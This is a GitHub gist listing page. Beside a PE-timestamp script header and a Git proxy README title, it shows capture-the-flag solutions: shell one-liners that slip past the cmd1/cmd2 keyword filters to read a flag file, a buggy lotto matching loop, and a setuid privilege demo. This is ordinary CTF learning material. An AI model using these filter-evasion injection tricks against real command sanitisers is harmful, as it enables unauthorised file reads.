Skip to content

Instantly share code, notes, and snippets.

View Ainevsia's full-sized avatar
:octocat:
Code with Rust 🦀 Code with Love ❤️

Zhipeng Xu Ainevsia

:octocat:
Code with Rust 🦀 Code with Love ❤️
View GitHub Profile
@Ainevsia
Ainevsia / getPETimestamp.py
Created February 8, 2023 07:15 — forked from geudrik/getPETimestamp.py
Read the PE Timestamp from a Windows Executable (PE) in Python
#! /usr/bin/env python2.7
#
# Author: Pat Litke (C) 2014
#
# This code is released under the WTFPL V2 http://www.wtfpl.net/
#
# License:
# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
# TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
#
@Ainevsia
Ainevsia / README.md
Created March 27, 2022 11:59 — forked from chuyik/README.md
macOS 给 Git(Github) 设置代理(HTTP/SSH)
./cmd2 'read x < fla\g;echo $x'
cd / && /home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl\ag'
./cmd2 '$(printf \\057bin\\057cat) fl""ag'
env sdd='/bin/cat flag' ./cmd1 '$sdd'
// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}
@Ainevsia
Ainevsia / cat-privilege.md
Created September 4, 2019 23:51
privilege example
ainevsia@ubuntu:~/cc$ whoami
ainevsia
ainevsia@ubuntu:~/cc$ ls -la | grep flag
---s--x---  1 admin    ainevsia 8768 Sep  5 06:49 catflag
-r--------  1 admin    root       16 Sep  5 06:47 flag
ainevsia@ubuntu:~/cc$ ./catflag
this{is}a{flag}

As a user with the gid, once i run catflag, i will get the user's privilege.